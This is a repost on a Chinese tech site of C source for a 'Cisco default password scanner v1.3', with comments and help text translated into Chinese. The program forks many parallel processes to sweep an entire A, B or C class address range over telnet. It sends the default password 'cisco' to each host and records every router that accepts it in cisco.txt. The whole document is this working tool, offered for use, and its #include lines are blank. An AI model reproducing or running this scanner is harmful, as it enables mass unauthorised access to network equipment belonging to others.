千家信息网

思科默认密码扫描器 v1.3 最终版

发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,早上吃完早饭,看了遍思科默认密码扫描器 v1.3 最终版的源码,索性将其汉化 英语水平有限,请批评指正/* 思科默认密码扫描器 v1.3 最终版 思科扫描器能扫描一个A类,B类,C类ip地址池中的默认
千家信息网最后更新 2025年02月01日思科默认密码扫描器 v1.3 最终版

早上吃完早饭,看了遍思科默认密码扫描器 v1.3 最终版的源码,索性将其汉化 英语水平有限,请批评指正

/* 思科默认密码扫描器 v1.3 最终版
思科扫描器能扫描一个A,B类,Cip地址池中的默认密码为cisco
还没来的及更改密码的思科路由器扫描记录下来并保存到一个名为cisco.txt
的文件中.

使用方法:
A
类地址 = ./ciscos 127 1
B
类地址 = ./ciscos 127.0 2
C
类地址 = ./ciscos 127.0.0 3

可选项:
-t =
超时时间间隔 (默认3-5)
-C =
设置多少个线程 (最好设置300个线程以下)


:: Ravi_C ::
smolten@ureach.com
汉化:低落的回眸 QQ:328504126

*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define SA struct sockaddr
#define SIN_LEN sizeof(struct sockaddr_in)
#define IPV4_ADDRLEN 16

void ShowHelp(char *, char *);
void ShowVer()
{
printf("Cisco Scanner v1.3\n");
}
int ConnectCheck(struct sockaddr_in, int);

const char *ipv4_ntop(int, const void *, char *, size_t);
FILE *stream;

int main(int argc, char *argv[]) {
int i=0,j=0,k=0,status,Children=105,Timeout=7,class=0;
char DestIP[15],*NetworkID,c,*num3;
struct sockaddr_in DestAddress;
if(argc < 3) ShowHelp(argv[0], "");
NetworkID = argv[1];
num3=argv[2];
class=atoi(num3);
opterr = 0;
while((c = getopt(argc, argv, "C:t:")) != -1) {
switch(c) {
case 'C': Children = atoi(optarg); break;
case 't': Timeout = atoi(optarg); break;
case '?': ShowHelp(argv[0], "ERROR: unrecognized option"); break;
}
}
if(Children < 1) ShowHelp(argv[0], "ERROR: invalid number of children");
if(Timeout < 1) ShowHelp(argv[0], "ERROR: invalid timeout");
ShowVer();

/*Class A*/
if (class==1)
fprintf(stderr,
"Scanning: %s.*.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
NetworkID,Children,Timeout);

/*Class B*/
if (class==2)
fprintf(stderr,
"Scanning: %s.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
NetworkID,Children,Timeout);

/*Class C*/
if (class==3)
fprintf(stderr,
"Scanning: %s.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
NetworkID,Children,Timeout);

DestAddress.sin_family = AF_INET;
DestAddress.sin_port = htons(23);

/*Class A*/
if (class==1){
for(k = 0; k < 256; k++) {
for(j = 0; j < 256; j++) {
for(i = 0; i < 256; i++) {
if (i > Children || j > 0 || k > 0 ){
wait(&status);
}
sprintf(DestIP, "%s.%d.%d.%d", NetworkID,k,j,i);
inet_aton(DestIP, &DestAddress.sin_addr);
if(!fork()) ConnectCheck(DestAddress, Timeout);
}
}
}
}

/*Class B*/
if (class==2){
for(j = 0; j < 256; j++) {
for(i = 0; i < 256; i++) {
if (i > Children || j > 0){
wait(&status);
}
sprintf(DestIP, "%s.%d.%d", NetworkID,j,i);
inet_aton(DestIP, &DestAddress.sin_addr);
if(!fork()) ConnectCheck(DestAddress, Timeout);
}
}
}

/*Class C*/
if (class==3){
for(i = 0; i < 256; i++) {
if (i > Children){
wait(&status);
}
sprintf(DestIP, "%s.%d", NetworkID, i);
inet_aton(DestIP, &DestAddress.sin_addr);
if(!fork()) ConnectCheck(DestAddress, Timeout);
}
}

for(;;) {
if((waitpid(-1, &status, WNOHANG) == -1) && (errno == ECHILD))
exit(EXIT_SUCCESS);
}

}

int ConnectCheck(struct sockaddr_in DestAddr, int Timeout)
{
int result,ret,SocketFD;
char Hostname[60],buffer1[64],buffer2[64];
if((SocketFD = socket(AF_INET, SOCK_STREAM, 0)) < 0) exit (EXIT_FAILURE);
alarm(Timeout);
result = connect(SocketFD, (SA *)&DestAddr, SIN_LEN);
if (!result) {
alarm(Timeout);
memset(buffer1, '\0', 64);
memset(buffer2, '\0', 64);
if ((ret = read(SocketFD, buffer1, 64)) > 0)
{
ret = read(SocketFD, buffer1, 64);
send(SocketFD,"cisco\r",6,0);
ret = read(SocketFD, buffer2, 64);

if( (memcmp(buffer2,"\r\nPass",6)) &&
!(memcmp(buffer1,
"\r\n\r\nUser Access Verification\r\n\r\nPassword",40)))
{
stream = fopen("cisco.txt","a");
printf("Cisco found: %s\n\a",
ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
fprintf(stream,"%s\n",
ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
fclose(stream);
}}
close(SocketFD);
}

exit(EXIT_SUCCESS);
}

const char *
ipv4_ntop(int family, const void *addrptr, char *strptr, size_t len) {
const u_char *p = (const u_char *)addrptr;
if(family == AF_INET) {
char temp[IPV4_ADDRLEN];
snprintf(temp, sizeof(temp), "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
if(strlen(temp) >= len) {
errno = ENOSPC;
return(NULL);
}
strcpy(strptr, temp);
return(strptr);
}
errno = EAFNOSUPPORT;
return(NULL);
}


void ShowHelp(char *argv0, char *ErrMsg) {
ShowVer();
printf(" 输出将被存储到哦cisco.txt文件中\n");
printf(" 使用方法: %s 地址> <子网类型> [可选项]\n",argv0);
printf(" 扫描一个A类地址: ciscos 127 1 \n");
printf(" 扫描一个B类地址: ciscos 127.0 2 \n");
printf(" 扫描一个C类地址: ciscos 127.0.0 3\n");
printf(" [-C ]
可开最大线程数\n");
printf(" [-t ]
超时的秒数\n\n");
exit (EXIT_FAILURE);
}

0